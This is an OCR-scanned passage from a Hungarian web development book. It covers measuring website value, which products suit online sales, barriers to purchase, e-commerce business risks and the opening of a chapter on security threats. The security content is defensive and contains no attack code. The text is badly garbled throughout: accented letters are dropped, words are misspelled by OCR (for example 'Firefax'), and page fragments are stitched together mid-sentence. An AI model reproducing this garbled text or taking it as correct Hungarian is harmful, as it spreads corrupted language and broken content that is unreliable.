Honlapunk ltrehozsa szp s j, de honnan fogjuk tudni, hogy megrce-e a pnzt s az energit< Klnsen egy nagyvllalac nak ksztett honlap esetn elbb vagy utbb neknk fogjk szegezni a krst, hogy szmszerscsk, mekkora teket kpvisel az oldal a vllalat szmra. Hagyomnyos markeringkampnyok esetben a nagy szeevezetek tbb tzezer dollrt kltenek piackutatsra rszben a kam pny kezdete eltt, rszben a kampny utn, hogy mrni tudjk a hatkonysgt. Webes vllalkozsunk mrettl s anyagi lehetsgeitl fggen az ilyen felmrsek a honlap tervezst s ltogatottsgnak rtkelst is megknnythetik. Mindazonltal szmos egyszerbb vagy olcsbb lehetsg kzl vlaszthacunk: A szervernaplk vizsglata A webes szerverek rengeteg adatot trolnak a hozzjuk rkez krsekrL Ezek nagy rsze - marketingclra -hasznlhatatlan, s nyers llapoeukban pusztn mennyisgk miacc is nehezen rtkelhetk. Hogy rtelmes sszegzse nyerjnk ki a naplfjlokbl, naplfjlelemz segdalkalmazsra van szksgnk. A kt legis mertebb, ingyenes program az Analog (a http://www.analog.cx/ cmen rhet el) s a Webalizet (http://www.mrunix. net/webalizer/). Az olyan zleti cl s fizets programok, mint a Summary (http://summary.net) vagy a WebTrends Analyrics (http://www.webtrends.com/) reljesebb informcit adnak. A naplfjlelemz megmutatja, idben hogyan vltozik honlapunk ltogatottsga, s mely oldalakat nzik meg a ltogatk. Eladsok figyelemmel kvetse - Online katalgusunktl azt vrjuk, hogy eladsokat generljon. Az rtkestsre gyakorolt hatst gy tudjuk megbecslni, ha sszehasonltjuk az oldal elindtsa eltti s utni rtkestsi szinteket. A hatst nyilvnvalan nehezebb mrni, ha ugyanabban az idszakban ms marketingtevkenysg is okozhatja az inga dozsokat. Felhasznli visszajelzsek gyjtse-Amennyiben megkrjk felhasznlinkat, minden bizonnyal rmmel elmond jk, mir gondolnak honlapunkrL Ha a visszajelzshez rlapot ksztnk szmukra, hasznos vlemnyeker gyjthetnk be. A visszajelzsek mennyisgr gy nvelhetjk, ha valahogyan sztnzzk a ltogatkat, pldul nyeremnyr sorso lunk ki a vlaszadk kzct. Adatgyjts reprezentatv felhasznlk krben A fkuszcsoportos beszlgetsek hatkony mdszert knlnak hon lapunk vagy a tervezett honlap prototpusnak rtkelsre. A fkuszcsoporros kuratshoz pusztn nhny nkntest kell sszegyjtennk, majd arra kell krni ket, hogy rtkeljk honlapunkat. Vlaszaikat s vlemnyeiket feljegyezve rckes adarokhoz juthatunk. A fkuszcsoportos kutats drga mulatsg lehet, amennyiben szakrt modertor vezeti, aki a potencilis rsztvevket rtkelve s szrve megprblja garantlni, hogy demogrfiai jellemzikben s szemlyisgkben poncosan reprezentljk az alapsokasgot vagy a clkznsget, majd hozzrt mdon megincerjvolja ket. A fkuszcsoportos beszlgetsek ugyanakkor szinte ingyen is elrhetk, amatr is moderlhatja azokat, s olyan rsztvevkkel is lefolyrarhatk, akiknek a clpiachoz val viszonyuk nem ismert. Ha megfizetjk szakrt piackutat cg szolglatait, az hozzrten vgrehajtott s hasznlhat eredmnyeket hoz fkusz csoportos kutatst eredmnyez, m nem ez az egyetlen jrhat t. Ha sajt magunk folytatunk fkuszcsoporros beszlgetse ket, vlasszunk egy gyes modertort! Kivlarr kell, hogy rtsen az emberek nyelvn, s nem szabad, hogy brmilyen mdon elfogult vagy rintett legyen a kucats eredmnyt illeten. A csoport ltszmt 6-10 f kzte rdemes tartani. A beszlge rsen elhangzottakat ajnlott rgzteni, hogy a modertornak csak arra kelljen figyelnie, hogyan irnytja a beszlgetst. Az gy kapott eredmny pontosan annyira lesz relevns s hitelt rdeml, amennyire a csoportban rsztvev szemlyek mintja. Ha termkeinket alkalmazottaink bartai vagy csaldtagjai rtkelik, akkor nem valszn, hogy az eredmny megfelelen mucacja a nagykznsg vlemnyt.
-
14
224
14. fejezer
tbb idr hagyunk nekik, hogy tgondoljk a vsrlsi dnrsket, annl valsznbb, hogy ms zletekben is szrnznek, vagy egyszeren meggondoljk magukat. Ha az gyfelek szerernk megszerezni rermknker, akkor sajt rdeknk, hogy a lehet leggyorsabb s legegyszerbb tegyk a vsrlsi folyamatot. Ha arra knyszertjk ket, hogy fellljanak szm tgpkrl, s trcszzanak egy telefonszmot, vagy keressk fel zletnket, akkor megakasztjuk a folyamatot. Ha online hirdetsnk meggyzte a fogyasztkat, hogy vsroljanak, akkor engedni kell, hogy azonnal, honlapunk bezrsa eltt meg tehessk azt. Az online rendelsfelvtel rengeteg cg szmra elnyt jelenthet. Minden vllalkozs megrendelseket szereme kapni. Az online rendelsfelvtel lehetsge nvelheti rtkestseinket vagy cskkentheti rtkestink leterheltsgt. Az online rende lsfelvtelhez szksges krnyezet termszetesen kltsgekkel jr: dinamikus honlap kifejlesztse, a fizetsi mdok megszer vezse s az gyflszolglat mind pnzbe kerl. Az online rtkests egyik legvonzbb jellemvonsa, hogy ezen kltsgek nagy rsze pontosan ugyanannyi lesz ezer s egymilli rendels esern is. Az elfogadhat kltsgszimhez ppen ezrt megfelel mennyisgben rtkesthet termkre vagy szaigitatsra van szksg. Mieltr nagyon belelnnk magunkar az elektronikus kereskedelem gondolatba, prbljuk vgig gondolni, hogy termkeink alkalmasak-e online rtkestsre! Interneten keresztl leginkbb olyan termkeker s szolglratsokat vsrolunk, mint a knyvek s a magazinok, a szm tgpes szoftverek s hardverek, zene, ruhk, utazs s belpjegyek (sznhz, mozi, koncert stb.). Csak azrt, mert term knk nem tartozik ezen kategrik kz, nem kell elkeserednnk. Ezek a piacok mr gyis telitve vannak jl (s kevsb jl) ismert mrkkkal. Mindazonltal rdemes lehet vgiggondolni, mirt pont ezek a legkelendbb portkk az interneten. Az idelis e-kereskedelmi termk nem romland s egyszeren szlthat, elg drga ahhoz, hogy elfogadhatv tegye a szlltsi klrsgeket, de annyira mgsem drga, hogy a vsrl knyszert rezzen arra, hogy vsrls eltt fizikailag is megvizsglja. A legjobb e-kereskedelmi termkek az rucikkek. Ha valaki avokdt szereme venni, minden bizonnyal sze reen kivlasztani (megfogni, megszagolni) az adott darabot. Nem minden avokd egyforma. Egy knyv, CD vagy szaftver ltalban tkletesen megegyezik a tbbi pldnnyal - feltve persze, hogy ugyanaz a cmk. A vsrlk nem ignylik, hogy kezkbe vegyk a beszerezni kivnt darabot. Az e-kereskedelmi termkeknek emellett az internet-felhasznlk rdekldsi krbe kell tartozniuk. A knyv rsa idejn a clkznsget a munkabrrel rendelkez, fiaralabb felnttek alkotjk, akik tlag feletti jvedelemmel brnak, s vrosban
14
lnek. Idvel azonban szmthatunk r, hogy az online kznsg egyre inkbb megegyezik majd a teljes lakossggal. Egyes termkek soha nem fognak megjelenni az e-kereskedelemmel foglalkoz kutatsokban, mgis sikeresen rtkesthe rk online. Ha termknk csak egy szk piaci rteg szmra vonz, az internet idelis mdszer lehet a vsrlk elrsre. Ha lakhelynkn csak tz ember gyjt 1980-as vekbeli jrkrobotokat, egy ezeket forgalmaz honlap akr sikeres is lehet, ha minden ms vrosban is legalbb ugyanennyien gyjtik ket. Vannak olyan termkek, amelyek online rtkestse nagy valsznsggel nem fog szmunkra sikert hozni. Az olcs, romland rucikkek, pldul a zldsg s a gymlcs nem tnik tl j vlasztsnak, br ez nem riasztja el az embereket, hogy prblkozzanak - tbbnyire, persze, sikertelenl. Egyes termkkategrik tkletesen megfelelek arra, hogy brochureware honlapot ksztsnk hozzjuk, de online rendelsre nem lesznek alkalmasak. Nagy, drga rucikkek tartoznak ide - pldul az autk s az ingatlanok -, amelyek rengeteg utnajrst ignyelnek a vsrls eltt, tl drgk ahhoz, hogy szemrevtelezs nlkl megrendeljk, s leszlltani sem tl egyszer ket. Szmtalan akadlyt kell lekzdennk a potencilis vsrlk meggyzshez. Ilyenek lehetnek: Megvlaszolatlan krdsek Bizalomhiny Nem egyszer hasznlharsg Kompatibilitshiny Ha a felhasznlkat ezek brmelyike visszatartja, nagy valsznsggel vsrls nlkl fognak tvozni honlapunkrL
Megvlaszolatlan krdsek
Ha egy potencilis vsrl nem kap azonnal vlaszt valamely krdsre, minden bizonnyal otthagyja az oldalt. Ennek a megl laprsnak szmos kvetkezmnye van. Figyeljnk arra, hogy oldalunk jl rendezett, jl felptett legyen! Az els alkalommal ott jr ltogat knnyen megrallja, amit keres! Arra is gyelnnk kell, hogy teljes kr informcit adjunk, ugyanakkor ne terheljk le tlzottan a ltogatkat. Az interneten az emberek hajlamosak gyorsan tfutni a tartalmat, jellemzen nem szaktk alaposan vgigolvasni, ezrt t rekedjnk a tmrsgrel A hirdetsi felletek tbbsgnl gyakorlati korltai vannak, hogy mennyi informcit kzlhetnk. A honlapokra ez nem rvnyes. Itt a kt f korlt kzl az egyik az informci ltrehozsnak s frisstsnek a kltsge, a m sik pedig az, hogy mennyire tudjuk az informcitengert gy rendezni, tagolni s sszekapcsolni, hogy a ltogatk be tudjk
225
fogadni. Nagy a ksrts, hogy honlapunkra olyan, soha nem alv, automatikus rtkestknt gondoljunk, aknek radsul mg fizet ni sem kell, ugyanakkor rendkvl fontos az gyflszolglat. sztnzni kell a ltogatkat, hogy krdezzeneki Prbljunk meg nekik azonnali vagy szinte azonnali vlaszt adni telefonon, e-mailben, chaten vagy ms knyelmes mdon!
Bizalomhiny
Ha a ltogat szmra ismeretlen a mrkanevnk, mirt bzna bennnkr Brki ssze tud lltani egy honlapot. Egy brochureware oldal tolvasshoz nem szksges bizalom, de a megrendels mr teljesen ms trtnet. Honnan tudja a ltogat, hogy megbzhat a vllalkozs, s nem a fentebb emltett kurya ll az oldal mgttr Online vsrlskor szmos krds foglalkoztatja az embereket:
Mi fog trtnni a szemlyes adataikkal rtkestjk valaknek, arra hasznljuk, hogy egy csom reklmot kldjnk
nekik, vagy nem biztonsgos mdon troljuk, s gy msok is hozzfrhernekr Fontos kzlni a ltogatkkal, hogy mit resznk s mit nem tesznk az adataikkal. Ezt az informcit adatvdelmi nyilatkozatnak (privacy policy) szoks nevez ni, s honlapunk knnyen megrallhat rszre kell kirakni.
Mi trtnik, ha a vsrl nem elgedett a termkkel? Milyen felttelekkel szmthar pnzvisszatrtsre? Ki fizeti
a szllrsi djarr Internetes kereskedelem esetn a trvny a hagyomnyos vsrls esern rvnyesnl szlesebb kr elllsi jogot ad a vsrlknak. Sok online kereskeds felttel nlkl visszaveszi a rermker, ha a vev brmilyen oknl fogva elgedetlen azzal. (Magyarorszgon a jelenlegi szablyozs szerint a vev 8 napon bell lhet elllsi jogval, amennyiben sajt kltsgn, bontatlanul vagy megbontott csomagolsban, de hinytalanul visszakldi a termket az eladnak.) Gondoljuk vgig, hogy milyen arnyban llhat egymssal a pnzvisszatrts kltsge s a liberlis visszatr tsi szablyzat ltal okozott forgalomnvekedsi Brhogyan dntnk is ebben a krdsben, gyeljnk, hogy a felrteieket pontosan megjelenrsk oldalunkon! Rnk bzhatjk az
14
jk-e bankkrtyjuk adatait az interneten keresztl. ppen ezrt olyan vllalkozs ltszatr kell kelrennk, amely gyel a biztonsgra, s rnylegesen biztonsgosan kell kezelni gyfeleink bankkrtyir. Ez rninimum azt jelenti, hogy Secure Sockers Layer (SSL) protokollon keresztl kell az adatokar a felhasznl bngszjbl webes kiszolglnkra tovbb tani, illetve gondoskodnunk kell kiszolglnk hozzrt s biztonsgos felgyeletrL A ksbbiekben rszleresebben foglalkozunk ezzel a tmval.
rizzk meg honlapunk egyszersgti Minl tbb lehetsget, hirdetst s a figyelem elterelsre alkalmas elemet
helyeznk a kpernyre, annl valsznbb, hogy sszezavarjuk a felhasznlt.
Olvashat szvegfajtt vlasszunk! Tiszta, egyszer bettpusokar hasznljunk! Ne lltsuk tl kicsire a szveget, s ne
feledjk, hogy a klnbz tpus szmtgpeken eltr mretben jelenhet meg!
Tegyk a rendelsi folyamatot a lehet legegyszerbbl A jzan sz csakgy, rnint a rendelkezsre ll rapasztalatok
azt sgjk, hogy rninl tbbet kell a vsrlknak a megrendelshez az egrrel kattintani, annl kevsb valszn, hogy vgigcsinljk a folyamatot. Cskkenrsk a lpsek szmr a minimlisan szksgesre, de ne feledjk, hogy az Amazon. com Amerikban szabadalommal2levdette az egy kattintssal trtn rendels folyamatt! (Az Amazon 1-Clicknek hvja a mdszert.) A szabadalmar sok honlap zemelterje lesen tmadja.
Ne engedjk, hogy a felhasznlk elvesztsk a fonalat! Adjunk nekik irnymurarst, s navigcis irnypontokkal
jelezzk szmukra, hol jrnak! Emeljk k azt a menpontot, amelyikben ppen tartzkodnak, gy segitve a tjkozd sukat! 2 U.S. Pacem and Trademark Office (Amerikai Szabadalomgyi s Mrkavdelmi Hivatal), 5960411 szm szabadalom: Kommunikcis hlzacon keresztli rendelsleads mdszere s rendszere.
226
14. fejezet
Ha a vsrlshoz kosr funkcit knlunk a ltogatknak, amelyben a fizets eltt virtulisan trolhatjk a kvlasztott ru cikkeket, figyeljnk r, hogy a kpernyn mindig lthat legyen egy, a bevsrlkosrra mutat hivatkozs!
Kompatibilitshiny
Ne felejtsk el oldalunkat klnbz bngszkben s opercis rendszerek alatt tesztelnil Ha valamely npszer bng szben vagy opercis rendszer alatt nem mkdik rendesen, akkor amatrnek fogunk tnni, s elvesztjk a potencilis piac jelents rszt. Ha oldalunk mr mkdik, a webszerver naplbejegyzseibl megllapthatjuk, milyen bngszket hasznlnak a ltoga tink. klszablyknt elmondhat, hogy ha oldalunkat az albbi bngszkben, opercis rendszerek alatt s eszkzkn ellenrizve semmilyen hibval nem tallkozunk, akkor a Felhasznlk nagy tbbsge szmra megfelelen jelenik meg olda lunk: Firefax (minden opercis rendszer alatt), az Internet Explorer (Windows) s aSafari (Macintosh) legfrissebb verzija, kzi szmtgp s egy olyan, csak szveget megjelent bngsz, mint pldul a Lynx. Ne felejtsk el oldalunkat klnbz kpernyfelbontsokban megjelenteni! Egyes Felhasznlk a nagyon nagy felbontsokat kedvelik, msok telefont vagy P DA-t hasznlnak. Nehz elrni, hogy ugyanaz az oldal megfelelen nzzen ki a 2048 kppont szlessg kpernyn s a 240 pixel szlesen is. Kerljk a vadonatj funkcik s eszkzk hasznlatr, kivve, ha vllalj uk, hogy az oldalt tbb vltozatban rjuk meg s tartjuk fenn! A szabvnyokkal kompatibilis HTML vagy XHTML mindenhol mkdni fog, de a rgebbi funkcikat nagyobb valsznsggel fogja megfelel mdon tmogaeni az sszes bngsz s eszkz.
14
az informci. Az informci gyakran teljesen ingyenes vagy hirdetsekbl finanszrozott. Egyes informcikhoz elfizets vagy tranzakcinknti fizets alapjn lehet hozzfrni. A digitlis rucikkek kz tartoznak egyebek kztt az e-knyvek s az elektronikus formtumban (pldul MP3-ban) lv zene. A kpgynksgek ltal forgalmazott kpek is digitalizlhatk s letlthetk. A szmtgpes szaftvereknek sem kell szksgszeren CD-n vagy DVD-n lennik, kzvetlenl is letlthetk. Az gy rtkestett szolgltatsok kz tartozik pldul az internet-hozzfrs vagy a webtrhely is. Az oldalunkon megrendelt termkek fizikai kiszllitsa esetn bizonyos elnykkel s htrnyokkal kell szmolnunk. A fi zikai formban ltez termk kiszllitsa pnzbe kerl. A digitlis letltsek szinte teljesen ingyenesek. Ez azt jelenti, hogy ha msolhat s digitlisarr rtkesthet termket vagy szolgltatst knlunk, annak rtkestsi kltsge l s 1000 darab esetn is ugyanaz lesz. Termszetesen ez csak bizonyos korltok kztt igaz; megfelel szint rtkests s forgalom esetn tbbet kell pldul hardverre s svszlessgre fordtani. A digitlis termkek s szolgltatsok knnyen rtkesthetk impulzv vsrlsknt. Ha valal fizikai formban ltez ru cikket rendel, a szllts legalbb egy napig tart. A letltseket ezzel szemben msodpercben, legfeljebb percben mrjk. Ez azt jelenti, hogy a kereskedk az azonnali teljests terhvel knytelenek szembeslni. Ha digitlisarr teljestjk a vsrlst, azonnal kell megtennnk azt. Nem tehetjk meg, hogy manulisan dolgozzuk fel a rendelseket, vagy napon bell szttertjk a cscs idszak terhelst. Az azonnali teljests rendszereknl ezrt inkbb fennll a csals veszlye, s nagyobb terhelst jelentenek a szmtgpes erforrsoknak. A digitlis termkek s szolgltatsok kivlarr alkalmasak az e-kereskedelemre, de nyilvnvalan korltozott az gy rtke sthet termkek s szolgltatsok kre.
227
srlk szmra olyan frumot mkdtetni, ahol megtrgyalhatjk a cg termkeivel kapcsolatos hibaelhrrsi tippeket. A ms vsrlk ltal javasolt megoldsokkal orvosolhatk az gyfelek problmi, a klfldi vsrlk telefonkltsg nlkl kaphacnak tmogatst, s a hivatali rkon kivli idben is vlaszt adhatnak egyms krdseire a frumozk. A tmogats ilyen formja igen alacsony kltsg mellett nvelheti a fogyasztk elgedettsgt.
Kltsgcskkents
Az internet hasznlatnak gyakori oka a kltsgek cskkentse. Megtakarts szrmazhat az informci online megosztsbl,
a
ko mmunikci elmozdtsbl, a szolgltatsok lecserlsbl, illetve a mkds kzpontostsbL Ha jelen pillanatban igen sok embernek adunk tjkoztatst, minden bizonnyal gazdasgosabb mdon is megtehernnk
ezt egy weboldalon kereszrL Akr rlisckat, termkkatalgusokat, dokumentlt eljrsokat, specifikcikat vagy brmilyen ms informcit adunk t az rdekldknek, biztosan olcsbban jnnnk ki, ha ugyanezt az interneten tennnk elrhetv, mint a nyomtatott pldnyok ellltsval s kikldsveL Klnsen igaz ez a rendszeresen vltoz informcikra. Az internet a kommunikci biztostsval pnzt takarthat meg szmunkra. Ez akr azt jelenti, hogy az ajnlatkrseket gyorsan szckldhetjk, s rvid idn bell vlaszt kaphatunk, akr azt, hogy az gyfelek az gynkket vagy kzvettket kikerlve kzvetlenl a nagykereskedvel vagy a gyrtval lphetnek kapcsolatba- az eredmny ugyanaz lesz. Az rak cskkennek,
a
nyeresg pedig n. A pnzbe kerl szolgltatsok elektronikus vltozatra cserlse kltsgcskkentse eredmnyezhet. Btor pldja ennek az
Egghead.com esete. A cg gy dnttt, hogy bezrja informatikai bolchlzatt, s az e-kereskedelemre sszpontosija figyel mc. Br egy komoly e-kereskedelmi oldal ltrehozsa nyilvnvalan pnzbe kerl, egy 80 kiskereskedelmi zletbl ll lnc sokkal nagyobb folyamatos kltsggel jr. m a meglv szolgltatsok cserje kockzatot is hordoz magban. Az a rninimum, hogy az internetet nem hasznl gyfeleket elvesztjk. Az Egghead.com j vllalkozsa nem jtt be. A cg az 1998-as doc-com lufi idejn zrta be zleteit, majd a lufi kipukkadsakor, 2001-ben csdvdelmet krt. A kzpontosts is kltsgcskkense eredmnyezhet. Ha tbb telephellyel rendelkeznk, tbb helyen kell brleti djat s rezsit fizetni, alkalmazottakat foglalkoztatni, s mindenhol raktrkszletet kell fenntartani. Egy internetes vllalkozs elg, ha egyetlen kzponti telephellyel br, a vilg brmelyik pontjrl elrhet lesz.
14
Crackerek
Az e-kereskedelmet rint, leggyakrabban ernlegetett fenyegets a cracker nven ismert, rosszindulat szmtgp-felhaszn lktl rkezik. Minden cg ki van tve annak a veszlynek, hogy bnzk clpontjv vlik, de az e-kereskedelmi vllalkozsok folyamatosan vonzzk a klnbz szndk s kpessg crackereket. A crackerek tmadsainak oka lehet a kihvs, a hrnv irnti vgy, az oldal tnkrettele, pnz eltulajdontsa vagy a term kek, szolgltatsok ingyenes megszerzse. Az oldal biztonsgoss ttelhez az albbiak kombincija szksges: Biztonsgi mentsek ksztse a fontos informcikrl Olyan szemlyzeti politika, amely vonzza a becsletes munkavllalkat, s fenntartja lojalitsukat, mert a legveszlye sebb tmadsok mindig bellrl jnnek Szoftverekkel kapcsolatos vintzkedsek, pldul biztonsgos szoftverek hasznlata s folyamatos frisstse Az alkalmazottak felksztse a tmadsok clpontjainak s a gyengesgek azonostsra
228
14. fejezet
Auditls s naplzs a betrsek s a betrsi ksrletek szlelsre A szmtgpes rendszerek elleni legsikeresebb tmadsok olyan jl ismert gyengesgeket hasznlnak ki, mint a knnyen ki tallhat jelszavak, a gyakran hasznlt hibs konfigurcik s a rgi szoftververzik. A jzan sz ltal diktlt vintzkedsekkel a nem professzionlis tmadsok elhrthatk, illetve elrhet, hogy a legrosszabb bekvetkezse esetn biztonsgi mentssel rendelkezznk.
Szmtgpes hardverhibk
Ha vllalkozsunk a weboldalunktl fgg, nyilvnval, hogy brmely szmtgpnk ktitikus alkatrszeinek hibja komoly kvetkezmnnyel jr. Forgalmas vagy zletktitikus weboldalak esetn ltjogosultsga van redundns rendszerek hasznlatnak, hogy brmelyiknek a hibja ne lehessen hatssal a teljes rendszer mkdsre. Mint minden veszlyforrs esetn, itt is azt kell mrlegelni, hogy a weboldal egynapos - a cserealkatrszre vagy a javtsra vrs ideje alatti - lellsnak eslye indokolja-e a redundns berendezs kltsgt. Viszonylag egyszeren belltharunk tbb, Apache-t, PHP-t s MySQL-t futtat gpet, amelyek MySQL replikcival egy szeren szinkronban tarthatk, m jelentsen megnvelik hardver-, hlzatnfrastruktra- s trhelykltsgeinket.
14
Elektromos, kommunikcis vagy hlzati hibk
Ha az internetre alapozzuk vllalkozsunkat, akkor szolgltatk sszetett hlzatra vagyunk knytelenek tmaszkodni. Ha a weboldalunkat a vilg tbbi rszvel sszekt kapcsolat lell, semmi mst nem tehetnk, mint lhe tett kzzel vrjuk, hogy szolgltatnk helyrelltsa a szolgltatst. Ugyanez igaz az elektromos hlzat lellsaira is. A kltsgvetsnk biztostotta kereteken bell dnthetnk gy, hogy tbb szolgltatst vesznk ignybe klnbz szolgl tatktl. Ez tbbletkltsggel jr, de azt jelenti, hogy ha valamelyik szolgltat kiesik, mg mindig ott a msik. A rvid ramki maradsok okozta problmkat sznetmentes tpegysgbe beruhzva kerlhetjk el.
Ers verseny
Ha valamelyik utcasarkon nyitunk kiskereskedelmi boltot, viszonylag pontosan felmrhetjk a versenyhelyzetet. Versenytr saink elsdlegesen a krnyez terleten ugyanazt a termksklt rtkest vllalkozsok. j versenytrsak viszonylag ritkn jelennek meg. E-kereskedelem esetben kevsb mehetnk biztosra. A szlltsi kltsgek fggvnyben versenytrsaink a vilg brmely pontjn elhelyezkedhetnek, s ki vagyunk tve az rfo lyam-ingadozsoknak, illetve a munkaerkltsgek vltozsnak. Az internet ersen versenyz s gyorsan vltoz krnyezet. Ha npszer termkkategriban utazunk, nap mint nap j versenytrsakat kaphatunk. A verseny kockzata ellen nem sokat tehetnk, de ha nem llunk meg a fejlesztsekkel, megprblhatjuk megrizni versenykpessgnket.
Szoftverhibk
Ha vllalkozsunk szoftverekte tmaszkodik, akkor a szaftverekben lv hibk a sebezhetsgnket jelentik. A ktitikus hibk valsznsgt megbzhat szaftver vlasztsval cskkenthetjk, illetve rdemes a rendszer egyes rszeinek megvltoztatsa utn elegend idt hagyni a tesztelsre, formlis tesztdsi eljrst folytatni, s az les rendszeren csak akkor vgrehtani a vl toztatsokat, ha azokat mshol mr kellkppen leteszteltk. Mrskelhetjk a hibk kros kvetkezmnyeit, ha napraksz biztonsgi mentseket ksztnk minden adarunktL a vl toztatsok eltt feljegyezzk a mkd szoftverbelltsokat, s a rendszermveleteket felgyelve gyorsan szleljk az esetleges
229
problmkat.
st: akr az is elkpzelhet, hogy ilyen szablyozs mg egyltaln nem ltezik. Ez azonban minden bizonnyal nem sokig marad gy. A jvbeli jogszablyalkotssal bizonyos zleti modelleket megszigorthatnak, szablyozhatnak vagy ellehetetlent hetnek. jabb adkat vethetnek ki. Ezeket elkerlni nem tudjuk, kezelni pedig csak gy lehet, ha napraksz ismeretekkel rendelkeznk, s oldalunkat az aktu lis jogszablyokkal sszhangban mkdterjk. Ha valamilyen, bennnket htrnyosan rint helyzet alakul ki, mrlegeljk egy lobbicsoporthoz csatlakozs lehetsgti
Rendszerkapacitsbeli korltok
Rendszernk megtervezsekor rdemes tekintetbe vennnk a nvekeds lehetsgt. Minden bizonnyal azt remljk, hogy rendszernk egyre forgalmasabb s forgalmasabb lesz. ppen ezrt gy kell kialakitanunk, hogy nvekv kereslet esetn bvt het legyen.
A kapacits bizonyos mrtkig egyszeren gyorsabb hardver beszerzsvel is nvelhet, de ltezik egy hatr, amelynl gyor
sabb szmtgpet mr nem tudunk venni. Szaftvernk vajon gy lett megrva, hogy ha elrjk ezt a pontot, rszekre bonthas suk annak rdekben, hogy tbb rendszer kzrt megoszthassuk a terhelstr Adatbzisunk kpes egyidejleg tbb, klnbz gpektl rkez krs kezelsre r Az adatbzishoz csatlakozs kdja lehetv teszi, hogy ksbb gy mdosthassuk, hogy MySQL master szerverre rjuk s klnbz slave szerverekrl olvassuk ki az adatokatr Kevs rendszer kpes problma nlkl megbirkzni a jelents mrtk nvekedssel. De ha rendszernket a sklzhatsg elvnek figyelembe vtelvel tervezzk meg, kpesek lesznk azonostani s elhrtani az gyflbzisunk nvekedsvel hatat lanul jelentkez szk keresztmetszeteket.
A megfelel
stratgia kivlasztsa
14
Egyesek szerint az internet tl gyorsan vltozik ahhoz, hogy hatkony tervezst tegyen lehetv. Mi viszont gy gondoljuk, hogy ppen ezek a gyors vltozsok teszik rendkivl fontoss a tervezst. Ha nem tznk ki clokat, s nem vlasztunk stra tgit, a vltozsok bekvetkezte utn kell azokra valamilyen vlaszt adni ahelyett, hogy a vltozsokra szmtva aktvan csele kedhetnnk. Most, hogy megvizsgltuk az zleti tpus weboldalak jellemz cljait s az azokat fenyeget fbb veszlyforrsokat, reml jk, az olvasban is kezd megfogalmazdni sajt stratgija.
A stratgia fogja meghatrozni az zleti modellt. Ez a modell ltalban olyan dolog, ami valahol mshol mr bevlt, de ese
cenknt olyan j tlet is lehet, arniben nagyon his.znk. A krds az, hogy meglv zleti modellnket alakitjuk az internethez, meglv versenytrsat msolunk le, vagy agresszv mdon ttr szolgltarst hozunk ltre.
Kvetkez lpsek
A kvetkez fejezerben az e-kereskedelem biztonsgi oldalval foglalkozunk, rszletesen olvashatunk a biztonsgi fogalmakrl,
a
15
Az ekereskedelem biztonsgi krdsei
A fejezetben a biztonsg e-kereskedelemben betlttt szerepvel foglalkozunk. Megvizsgljuk, kinek llhat szndkban meg szerezni a birtokunkban lv informcikat, s hogyan prblkozhatnak ezzel. Megnzzk a biztonsgi hzirendek ltrehoz snak elveit, amelyekkel elkerlhetk az ilyen jelleg problmk, illerve megismernk nhny, a weboldalak vdelme rdekben alkalmazhat technolgit, kztk a titkostst, az ellenrzst s a hlzati esemnyek nyomon kvetst. A fejezetben a kvetkez fbb tmakrkkel foglalkozunk: A birtokunkban lv informci fontossga Biztonsgi fenyegetsek Biztonsgi hzirend ltrehozsa Hasznlhatsg, teljestmny, kltsg s biztonsg Ellenrzsi elvek Oldalunk felhasznlinak ellenrzse A titkosts alapjai Privt kulcs titkosts Nyilvnos kulcs titkosts Digitlis alrsok Digitlis tansrvnyak Biztonsgos webszerverek Auditls s naplzs Tzfalak Biztonsgi ments ksztse adatainkrl Fizikai biztonsg
szmitgpeiken trolt informcik a tulajdonosukon kvl mindenki ms szmra valsznleg csak alacsonyabb rtket
kpviselnek, az ilyen rendszerek ellen irnyul tmadsok esetiek lesznek, s a tmadk vlheten korltozott erfesztseket tesznek a feltrskre. Ennek ellenre minden szmtgpes hlzat felhasznljnak meg kell tennie a megfelel vintzke dseket. Mg a legkevsb rdekes adatokat trol szmtgpek is felkelthetik a tmadk figyelmt, mert kvlan alkalmasak
arra,
hogy nvtelen tmadsokat inditsanak rluk ms rendszerek ellen, illerve fontos szerepet jtszharnak a vrusok s frgek
terjedsben. A katonai szmtgpek nyilvnvalan a magnszemlyek s a klfldi kormnyzatok clkeresztjben llnak. Mivel az ezek ellen tmadst tervez kormnyzatok minden bizonnyal bsges erforrssal brnak, rdemes megfelel informatikai szemly zeere s egyb erforrsokra klten a szksges vintzkedsek rdekben.
232
15. fejezer
Az ltalunk zemelterni kvnt e-kereskedelmi oldal minden bizonnyal az elbbi kt szlssg kz esik,abban a tekintet ben legalbbis felttlenl, hogy mennyire lesz vonz a crackerek szmra. Ennek megfelelen a vdelmre fordtand erforr soknak s erfesztseknek is a kt szlssg kz kell esnik.
Biztonsgi fenyegetsek
Mi van az oldalunkon kockzarnak kitve? Milyen fenyegetsekre szmthatunk? Az e-kereskedelmi vllalkozsokat rint fenyegetsek egy rszvel az E-kereskedelmi sggal kapcsolatos. Weboldalunktl fggen az albbi biztonsgi fenyegetsekkel kell szmolnunk: Bizalmas adataink kitettsge Adatveszts vagy -rongls Adatmdosts Denial of Service tmadsok Szaftverhibk Letagads Nzzk t egyenknt ezeket a fenyegetseket!
15
szolglrarsokat,s meg kell kvetelni a felhasznJk hirelestst. Gondos tervezssel,konfigurlssal, kdolssal s tesztelssei cskkenthet a sikeres tmadsok,illetve annak eslye,hogy informciink valamilyen hiba kvetkeztben msok szmra is elrherv vljanak. A webszerverrl tvoltsuk el a felesleges szolgltatsokat is,hogy cskkenrsk a potencilis gyenge pontok szmt. Minden futtatott szolgltatsnak lehetnek sebezhersgei. Minden ilyen szolgltatst naprakszen kell tartani,hogy egyiknl se legye nek jelen ismert sebezhetsgek. A nem hasznlt szolglratsok veszlyesebbek lehetnek. Ha soha nem hasznljuk pldul az r ep parancsot, akkor minek legyen teleptve a szolgltats?1 Ha azt mondjuk a teleptnek, hogy szmtgpnk hlzati kiszolgl, akkor a fbbLinux-disztribcik s a W indows is szmos olyan szolgltatst telept, amire nem lesz szksgnk, s amiket el kell tvoltani. A Jelhasznlk hitelestse {authentication) esetn megkrjk a ltogatkat,felhasznlkat, hogy azonostsk magukat. Ha a rendszer ltja, kitl rkezik a krs,el tudja dnteni,hogy az adott felhasznl jogosult-e a hozzfrsre. Sokfle hitelestsi mdszer kzl vlaszthatunk,de jellemzen kr fajtja szokott a nyilvnos weboldalakon elfordulni: a jelsz s a digirlis alrs. A fejezet egy ksbbi rszben mindketrrl rszletesebben olvashatunk. A CD Universe esete j plda arra, milyen kvetkezmnyekkel jr- dollrban s hrnvben mrve-,ha egy cg engedi,hogy bizalmas 